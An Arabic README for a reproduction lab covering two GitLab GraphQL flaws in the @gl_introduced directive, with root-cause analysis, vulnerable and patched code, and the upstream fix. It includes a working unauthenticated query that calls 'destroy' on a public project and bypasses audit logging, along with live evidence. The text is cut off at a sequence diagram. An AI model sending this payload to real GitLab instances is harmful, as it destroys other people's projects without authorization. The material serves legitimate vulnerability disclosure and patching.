
يوفر استغلالات PoC وتحليل السبب الجذري لثغرتين في توجيه `@gl_introduced` في GraphQL الخاص بـ GitLab: تنفيذ الطرق بدون مصادقة وتبديل المستندات المجمّعة، مع التصحيح الرسمي وأدلة حية.
@gl_introduced في GitLab GraphQLمختبر إعادة إنتاج لثغرتين مترابطتين في ميزة فلتر الإصدارات في GraphQL الخاص بـ GitLab (التوجيه @gl_introduced). تقع كلتاهما في نفس منطقة الميزة، وتُصلَّحان بنفس التصحيح من upstream، وكلتاهما تسمحان لطلب GraphQL بالوصول إلى مسارات برمجية لم يصرّح بها أبدًا:
destroy) على النموذج الكامن خلف أي نوع GraphQL، فقط بتسمية حقل غير موجود ووسمه بـ @gl_introduced.| المتأثّر | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| المُصلَّح | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| هدف المختبر | gitlab/gitlab-ce:19.2.2-ce.0 (آخر بناء قبل التصحيح) |
| المُشغِّل | توجيه GraphQL @gl_introduced، بمفرده أو داخل دفعة |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
كل ما تحت src/ هو كود مصدري حرفي من upstream، ولم يُعَد تنفيذه أبدًا — فالمحمّل (loader) يضع src/vuln أو src/patched فوق src/common.
يتيح Gitlab::Graphql::VersionFilter::FutureFieldFallback للاستعلام الإشارة إلى حقل غير موجود بعد على أي نوع دون أن يفشل الطلب — وهو مخصّص للنشر المتدرج (rolling deploys)، حيث لا يحتوي مخطط العقدة القديمة بعد على حقل توفّره عقدة أحدث. يتحقق تجاوز get_field مما إذا كان الحقل المطلوب مفقودًا و كان الطلب موسومًا بـ contain_future_fields، وإذا كان الأمر كذلك فإنه يعيد حقلًا اصطناعيًا بدلًا من إلقاء خطأ:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
المشكلة: هذا GraphQL::Schema::Field يُنشأ بدون أسلوب resolver، وبدون صنف resolver، وبدون كتلة. عندها يُطبَّق قرار الحقل الافتراضي الخاص بـ graphql-ruby (gem graphql 2.6.3، lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym هو اسم الحقل بصيغة underscore — أي بالضبط السلسلة التي وضعها المهاجم في الاستعلام. إذا وُجد على الكائن الكامن خلف نوع GraphQL (نموذج ActiveRecord) دالة عامة حقيقية بدون وسائط بهذا الاسم، فإن graphql-ruby يستدعيها ويعيد نتيجتها (بعد تحويل النوع). القيمة fallback_value: nil تُطبَّق فقط عندما لا تكون الدالة موجودة فعلًا — وهي لا تمنع تشغيل دالة حقيقية.
إذًا: استعلم عن أي نوع بحقل يحمل اسم دالة تدميرية حقيقية — مثل destroy — ووسمه بـ @gl_introduced حتى يصل إلى مرحلة التنفيذ، وستُستدعى الدالة.
ينفّذ IntroducedTracer بقية ميزة فلتر الإصدارات عبر خطّافَي تتبّع (trace hooks) في graphql-ruby — parse (مرة لكل عملية) وexecute_query (مرة لكل عملية). في البناء الثغري، يخزّن حالته الخاصة بكل عملية في متغيرات مثيل عادية على كائن التتبّع:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
المشكلة: يشارك graphql-ruby مثيل تتبّع واحدًا بين كل عمليات الطلب المتعدد (multiplexed request)، ويحلّل كل هذه العمليات قبل تنفيذ أي منها. إذًا في دفعة من عمليتين:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(يحمل op2 حقلًا مستقبليًا @gl_introduced)بعد التحليل، لا يبقى سوى حالة آخر عملية. ثم يبدأ التنفيذ:
execute_query(op1) → العلامة true، لذا يُستبدل مستند op1 بـ op2_doc ويُعاد تجهيزه → فتحة op1 تنفّذ عملية op2.op1 صرّح بقراءة؛ لكنه ينفّذ كتابة op2.
يُغلق patch-19.2.2-to-19.2.4.diff الثغرتين معًا:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
لا يوجد ترويسة Authorization. عملية واحدة، بدون دفعة. destroy ليس حقلًا حقيقيًا على Project — فهو غير موجود في المخطط أصلًا — لكن التوجيه يجعل FutureFieldFilter يزيله قبل التحقق الثابت ويُفعّل contain_future_fields للتنفيذ، حيث يعيد get_field حقلًا بدون resolver باسم destroy، ويستدعي graphql-ruby الدالة project.public_send(:destroy).
تم التحقق منها مباشرةً على الهدف الحيّ (evidence/live_vuln_fallback_field.txt، وأُعيد إنتاجها ثلاث مرات مقابل ثلاثة مشاريع مؤقتة منفصلة): عند إرسالها ضد مشروع عام، كانت الاستجابة {"data":{"project":{"id":"...","destroy":true}}}. وأعاد فحص REST متابِع موثّق (GET /api/v4/projects/:id) رمز 404 — أي أن المشروع اختفى فعلًا. يُظهر سجل الطلبات الخاص بتلك المكالمة 9 عمليات كتابة متزامنة في قاعدة البيانات وصفرًا من صفوف AuditEvent الجديدة: تتجاوز المكالمة Projects::DestroyService بالكامل (ومعه مسار التدقيق، وwebhooks، والإشعارات) — فهي سلسلة حذف خام عبر ActiveRecord#destroy تُستدعى مباشرة من خلال قرار الحقل الافتراضي في GraphQL.
sequenceDiagram
participant A as Attacker
participant C as GraphqlController
participant T as IntroducedTracer (one shared instance)
participant S as StarProject mutation